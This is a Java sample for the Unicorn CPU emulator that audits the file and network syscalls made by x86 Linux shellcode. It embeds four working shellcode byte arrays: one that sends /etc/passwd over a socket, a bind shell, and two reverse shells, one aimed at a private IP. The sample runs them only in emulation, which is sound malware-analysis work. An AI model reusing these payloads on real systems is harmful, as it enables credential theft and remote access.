/*
Java bindings for the Unicorn Emulator Engine
Copyright(c) 2015 Chris Eagle
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
version 2 as published by the Free Software Foundation.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
/*
Unicorn sample for auditing network connection and file handling in shellcode.
Nguyen Tan Cong <shenlongbk@gmail.com>
*/
import unicorn.*;
import java.util.*;
public class SampleNetworkAuditing {
public static int next_id = 3;
public static final int SIZE_REG = 4;
private static LogChain fd_chains = new LogChain();
public static int get_id() {
return next_id++;
}
public static final long toInt(byte val[]) {
long res = 0;
for (int i = 0; i < val.length; i++) {
long v = val[i] & 0xff;
res = res + (v << (i * 8));
}
return res;
}
public static final byte[] toBytes(long val) {
byte[] res = new byte[8];
for (int i = 0; i < 8; i++) {
res[i] = (byte)(val & 0xff);
val >>>= 8;
}
return res;
}
private static class MyInterruptHook implements InterruptHook {
// callback for tracing Linux interrupt
public void hook(Unicorn uc, int intno, Object user) {
// System.err.println(String.format("Interrupt 0x%x, from Unicorn 0x%x", intno, u.hashCode()));
// only handle Linux syscall
if (intno != 0x80) {
return;
}
Long eax = (Long)uc.reg_read(Unicorn.UC_X86_REG_EAX);
Long ebx = (Long)uc.reg_read(Unicorn.UC_X86_REG_EBX);
Long ecx = (Long)uc.reg_read(Unicorn.UC_X86_REG_ECX);
Long edx = (Long)uc.reg_read(Unicorn.UC_X86_REG_EDX);
Long eip = (Long)uc.reg_read(Unicorn.UC_X86_REG_EIP);
// System.out.printf(">>> INTERRUPT %d\n", toInt(eax));
if (eax == 1) { // sys_exit
System.out.printf(">>> SYS_EXIT\n");
uc.emu_stop();
}
else if (eax == 3) { // sys_read
long fd = ebx;
long buf = ecx;
long count = edx;
String uuid = UUID.randomUUID().toString().substring(0, 32);
byte[] dummy_content = Arrays.copyOfRange(uuid.getBytes(), 0, (int)Math.min(count, uuid.length()));
uc.mem_write(buf, dummy_content);
String msg = String.format("read %d bytes from fd(%d) with dummy_content(%s)", count, fd, uuid.substring(0, dummy_content.length));
fd_chains.add_log(fd, msg);
System.out.printf(">>> %s\n", msg);
}
else if (eax == 4) { // sys_write
long fd = ebx;
long buf = ecx;
long count = edx;
byte[] content = uc.mem_read(buf, count);
String msg = String.format("write data=%s count=%d to fd(%d)", new String(content), count, fd);
System.out.printf(">>> %s\n", msg);
fd_chains.add_log(fd, msg);
}
else if (eax == 5) { // sys_open
long filename_addr = ebx;
long flags = ecx;
long mode = edx;
String filename = read_string(uc, filename_addr);
Long dummy_fd = new Long(get_id());
uc.reg_write(Unicorn.UC_X86_REG_EAX, dummy_fd);
String msg = String.format("open file (filename=%s flags=%d mode=%d) with fd(%d)", filename, flags, mode, dummy_fd);
fd_chains.create_chain(dummy_fd);
fd_chains.add_log(dummy_fd, msg);
System.out.printf(">>> %s\n", msg);
}
else if (eax == 11) { // sys_execv
// System.out.printf(">>> ebx=0x%x, ecx=0x%x, edx=0x%x\n", ebx, ecx, edx));
String filename = read_string(uc, ebx);
System.out.printf(">>> SYS_EXECV filename=%s\n", filename);
}
else if (eax == 63) { // sys_dup2
fd_chains.link_fd(ecx, ebx);
System.out.printf(">>> SYS_DUP2 oldfd=%d newfd=%d\n", ebx, ecx);
}
else if (eax == 102) { // sys_socketcall
// ref: http://www.skyfree.org/linux/kernel_network/socket.html
Long call = (Long)uc.reg_read(Unicorn.UC_X86_REG_EBX);
Long args = (Long)uc.reg_read(Unicorn.UC_X86_REG_ECX);
// int sys_socketcall(int call, unsigned long *args)
if (call == 1) { // sys_socket
// err = sys_socket(a0,a1,a[2])
// int sys_socket(int family, int type, int protocol)
long family = toInt(uc.mem_read(args, SIZE_REG));
long sock_type = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
long protocol = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
Long dummy_fd = new Long(get_id());
uc.reg_write(Unicorn.UC_X86_REG_EAX, dummy_fd.intValue());
if (family == 2) { // AF_INET
String msg = String.format("create socket (%s, %s) with fd(%d)", ADDR_FAMILY.get(family), SOCKET_TYPES.get(sock_type), dummy_fd);
fd_chains.create_chain(dummy_fd);
fd_chains.add_log(dummy_fd, msg);
print_sockcall(msg);
}
else if (family == 3) { // AF_INET6
}
}
else if (call == 2) { // sys_bind
long fd = toInt(uc.mem_read(args, SIZE_REG));
long umyaddr = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
long addrlen = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
byte[] sock_addr = uc.mem_read(umyaddr, addrlen);
String msg = String.format("fd(%d) bind to %s", fd, parse_sock_address(sock_addr));
fd_chains.add_log(fd, msg);
print_sockcall(msg);
}
else if (call == 3) { // sys_connect
// err = sys_connect(a0, (struct sockaddr *)a1, a[2])
// int sys_connect(int fd, struct sockaddr *uservaddr, int addrlen)
long fd = toInt(uc.mem_read(args, SIZE_REG));
long uservaddr = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
long addrlen = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
byte[] sock_addr = uc.mem_read(uservaddr, addrlen);
String msg = String.format("fd(%d) connect to %s", fd, parse_sock_address(sock_addr));
fd_chains.add_log(fd, msg);
print_sockcall(msg);
}
else if (call == 4) { // sys_listen
long fd = toInt(uc.mem_read(args, SIZE_REG));
long backlog = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
String msg = String.format("fd(%d) listened with backlog=%d", fd, backlog);
fd_chains.add_log(fd, msg);
print_sockcall(msg);
}
else if (call == 5) { // sys_accept
long fd = toInt(uc.mem_read(args, SIZE_REG));
long upeer_sockaddr = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
long upeer_addrlen = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
// System.out.printf(">>> upeer_sockaddr=0x%x, upeer_addrlen=%d\n" % (upeer_sockaddr, upeer_addrlen))
if (upeer_sockaddr == 0x0) {
print_sockcall(String.format("fd(%d) accept client", fd));
}
else {
long upeer_len = toInt(uc.mem_read(upeer_addrlen, 4));
byte[] sock_addr = uc.mem_read(upeer_sockaddr, upeer_len);
String msg = String.format("fd(%d) accept client with upeer=%s", fd, parse_sock_address(sock_addr));
fd_chains.add_log(fd, msg);
print_sockcall(msg);
}
}
else if (call == 9) { // sys_send
long fd = toInt(uc.mem_read(args, SIZE_REG));
long buff = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
long length = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
long flags = toInt(uc.mem_read(args + SIZE_REG * 3, SIZE_REG));
byte[] buf = uc.mem_read(buff, length);
String msg = String.format("fd(%d) send data=%s", fd, new String(buf));
fd_chains.add_log(fd, msg);
print_sockcall(msg);
}
else if (call == 11) { // sys_receive
long fd = toInt(uc.mem_read(args, SIZE_REG));
long ubuf = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
long size = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
long flags = toInt(uc.mem_read(args + SIZE_REG * 3, SIZE_REG));
String msg = String.format("fd(%d) is gonna receive data with size=%d flags=%d", fd, size, flags);
fd_chains.add_log(fd, msg);
print_sockcall(msg);
}
else if (call == 13) { // sys_shutdown
long fd = toInt(uc.mem_read(args, SIZE_REG));
long how = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
String msg = String.format("fd(%d) is shutted down because of %d", fd, how);
fd_chains.add_log(fd, msg);
print_sockcall(msg);
}
}
}
}
public static final Hashtable<Long, String> SOCKET_TYPES;
public static final Hashtable<Long, String> ADDR_FAMILY;
static {
SOCKET_TYPES = new Hashtable<Long, String>();
ADDR_FAMILY = new Hashtable<Long, String>();
SOCKET_TYPES.put(1L, "SOCK_STREAM");
SOCKET_TYPES.put(2L, "SOCK_DGRAM");
SOCKET_TYPES.put(3L, "SOCK_RAW");
SOCKET_TYPES.put(4L, "SOCK_RDM");
SOCKET_TYPES.put(5L, "SOCK_SEQPACKET");
SOCKET_TYPES.put(10L, "SOCK_PACKET");
ADDR_FAMILY.put(0L, "AF_UNSPEC");
ADDR_FAMILY.put(1L, "AF_UNIX");
ADDR_FAMILY.put(2L, "AF_INET");
ADDR_FAMILY.put(3L, "AF_AX25");
ADDR_FAMILY.put(4L, "AF_IPX");
ADDR_FAMILY.put(5L, "AF_APPLETALK");
ADDR_FAMILY.put(6L, "AF_NETROM");
ADDR_FAMILY.put(7L, "AF_BRIDGE");
ADDR_FAMILY.put(8L, "AF_AAL5");
ADDR_FAMILY.put(9L, "AF_X25");
ADDR_FAMILY.put(10L, "AF_INET6");
ADDR_FAMILY.put(12L, "AF_MAX");
}
// http://shell-storm.org/shellcode/files/shellcode-861.php
public static final byte[] X86_SEND_ETCPASSWD = {106,102,88,49,-37,67,49,-46,82,106,1,106,2,-119,-31,-51,-128,-119,-58,106,102,88,67,104,127,1,1,1,102,104,48,57,102,83,-119,-31,106,16,81,86,-119,-31,67,-51,-128,-119,-58,106,1,89,-80,63,-51,-128,-21,39,106,5,88,91,49,-55,-51,-128,-119,-61,-80,3,-119,-25,-119,-7,49,-46,-74,-1,-78,-1,-51,-128,-119,-62,106,4,88,-77,1,-51,-128,106,1,88,67,-51,-128,-24,-44,-1,-1,-1,47,101,116,99,47,112,97,115,115,119,100};
// http://shell-storm.org/shellcode/files/shellcode-882.php
public static final byte[] X86_BIND_TCP = {106,102,88,106,1,91,49,-10,86,83,106,2,-119,-31,-51,-128,95,-105,-109,-80,102,86,102,104,5,57,102,83,-119,-31,106,16,81,87,-119,-31,-51,-128,-80,102,-77,4,86,87,-119,-31,-51,-128,-80,102,67,86,86,87,-119,-31,-51,-128,89,89,-79,2,-109,-80,63,-51,-128,73,121,-7,-80,11,104,47,47,115,104,104,47,98,105,110,-119,-29,65,-119,-54,-51,-128};
// http://shell-storm.org/shellcode/files/shellcode-883.php
public static final byte[] X86_REVERSE_TCP = {106,102,88,106,1,91,49,-46,82,83,106,2,-119,-31,-51,-128,-110,-80,102,104,127,1,1,1,102,104,5,57,67,102,83,-119,-31,106,16,81,82,-119,-31,67,-51,-128,106,2,89,-121,-38,-80,63,-51,-128,73,121,-7,-80,11,65,-119,-54,82,104,47,47,115,104,104,47,98,105,110,-119,-29,-51,-128};
// http://shell-storm.org/shellcode/files/shellcode-849.php
public static final byte[] X86_REVERSE_TCP_2 = {49,-64,49,-37,49,-55,49,-46,-80,102,-77,1,81,106,6,106,1,106,2,-119,-31,-51,-128,-119,-58,-80,102,49,-37,-77,2,104,-64,-88,1,10,102,104,122,105,102,83,-2,-61,-119,-31,106,16,81,86,-119,-31,-51,-128,49,-55,-79,3,-2,-55,-80,63,-51,-128,117,-8,49,-64,82,104,110,47,115,104,104,47,47,98,105,-119,-29,82,83,-119,-31,82,-119,-30,-80,11,-51,-128};
// memory address where emulation starts
public static final int ADDRESS = 0x1000000;
public static String join(ArrayList<String> l, String sep) {
boolean first = true;
StringBuilder res = new StringBuilder();
for (String s : l) {
if (!first) {
res.append(sep);
}
res.append(s);
first = false;
}
return res.toString();
}
private static class LogChain {
public Hashtable<Long, ArrayList<String>> __chains = new Hashtable<Long, ArrayList<String>>();
public Hashtable<Long, ArrayList<Long>> __linking_fds = new Hashtable<Long, ArrayList<Long>>();
public void clean() {
__chains.clear();
__linking_fds.clear();
}
public void create_chain(long id) {
if (!__chains.containsKey(id)) {
__chains.put(id, new ArrayList<String>());
}
else {
System.out.printf("LogChain: id %d existed\n", id);
}
}
public void add_log(long id, String msg) {
long fd = get_original_fd(id);
if (fd != -1) {
__chains.get(fd).add(msg);
}
else {
System.out.printf("LogChain: id %d doesn't exist\n", id);
}
}
public void link_fd(long from_fd, long to_fd) {
if (!__linking_fds.containsKey(to_fd)) {
__linking_fds.put(to_fd, new ArrayList<Long>());
}
__linking_fds.get(to_fd).add(from_fd);
}
public long get_original_fd(long fd) {
if (__chains.containsKey(fd)) {
return fd;
}
for (Long orig_fd : __linking_fds.keySet()) {
if (__linking_fds.get(orig_fd).contains(fd))
return orig_fd;
}
return -1;
}
public void print_report() {
System.out.printf("\n----------------");
System.out.printf("\n| START REPORT |");
System.out.printf("\n----------------\n\n");
for (Long fd : __chains.keySet()) {
System.out.printf("---- START FD(%d) ----\n", fd);
System.out.println(join(__chains.get(fd), "\n"));
System.out.printf("---- END FD(%d) ----\n", fd);
}
System.out.printf("\n--------------");
System.out.printf("\n| END REPORT |");
System.out.printf("\n--------------\n\n");
}
}
// end supported classes
// utilities
static String read_string(Unicorn uc, long addr) {
StringBuilder ret = new StringBuilder();
char c;
do {
c = (char)(uc.mem_read(addr++, 1)[0] & 0xff);
if (c != 0) {
ret.append(c);
}
} while (c != 0);
return ret.toString();
}
static String parse_sock_address(byte[] sock_addr) {
int sin_family = ((sock_addr[0] & 0xff) + (sock_addr[1] << 8)) & 0xffff;
if (sin_family == 2) { // AF_INET
int sin_port = ((sock_addr[3] & 0xff) + (sock_addr[2] << 8)) & 0xffff;
return String.format("%d.%d.%d.%d:%d", sock_addr[4] & 0xff, sock_addr[5] & 0xff, sock_addr[6] & 0xff, sock_addr[7] & 0xff, sin_port);
}
else if (sin_family == 6) // AF_INET6
return "";
return null;
}
static void print_sockcall(String msg) {
System.out.printf(">>> SOCKCALL %s\n", msg);
}
// end utilities
static void test_i386(byte[] code) {
fd_chains.clean();
System.out.printf("Emulate i386 code\n");
try {
// Initialize emulator in X86-32bit mode
Unicorn mu = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32);
// map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
// write machine code to be emulated to memory
mu.mem_write(ADDRESS, code);
// initialize stack
mu.reg_write(Unicorn.UC_X86_REG_ESP, new Long(ADDRESS + 0x200000));
// handle interrupt ourself
mu.hook_add(new MyInterruptHook(), null);
// emulate machine code in infinite time
mu.emu_start(ADDRESS, ADDRESS + code.length, 0, 0);
// now print out some registers
System.out.printf(">>> Emulation done\n");
} catch (UnicornException uex) {
System.out.printf("ERROR: %s\n", uex.getMessage());
}
fd_chains.print_report();
}
public static void main(String args[]) {
test_i386(X86_SEND_ETCPASSWD);
test_i386(X86_BIND_TCP);
test_i386(X86_REVERSE_TCP);
test_i386(X86_REVERSE_TCP_2);
}
}